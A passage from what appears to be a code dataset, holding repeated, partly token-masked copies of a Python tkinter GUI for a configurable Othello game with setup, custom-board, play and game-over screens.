self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\nclass Handler:\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n 